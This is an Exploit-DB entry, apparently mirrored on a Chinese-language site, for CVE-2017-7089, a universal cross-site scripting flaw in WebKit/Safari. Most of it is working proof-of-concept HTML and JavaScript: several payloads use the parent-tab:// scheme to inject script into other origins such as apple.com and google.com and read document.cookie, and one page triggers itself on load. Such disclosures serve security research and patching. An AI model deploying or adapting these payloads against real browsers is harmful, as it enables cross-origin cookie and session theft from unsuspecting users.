Webkit (Safari) – Universal Cross-site Scripting

  • 作者: Anton Lopanitsyn
    日期: 2017-10-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45866/
  • <!--
    # CVE-2017-7089
    
    **Impact**: Processing maliciously crafted web content may lead to universal cross site scripting
    
    **Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
    
    #### Safari 10
    
    ##### Local SOP bypass
    
    ```html
    <script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
    ```
    ##### Exploit by Frans Rosén
    ```html
    data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src="https://www.exploit-db.com/exploits/45866/"onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
    ```
    -->
    
    <body onload=document.getElementById('pew').click()>
    <a id='pew' href='data:text/html,<script>function y(){x=open(&#x27;parent-tab://apple.com&#x27;,&#x27;_top&#x27;),x.document.body.innerHTML=&#x27;<img/src="https://www.exploit-db.com/exploits/45866/"onerror=alert(document.domain);alert(document.cookie);>&#x27;};setTimeout(y,100)</script>'>hello</a>
    </body>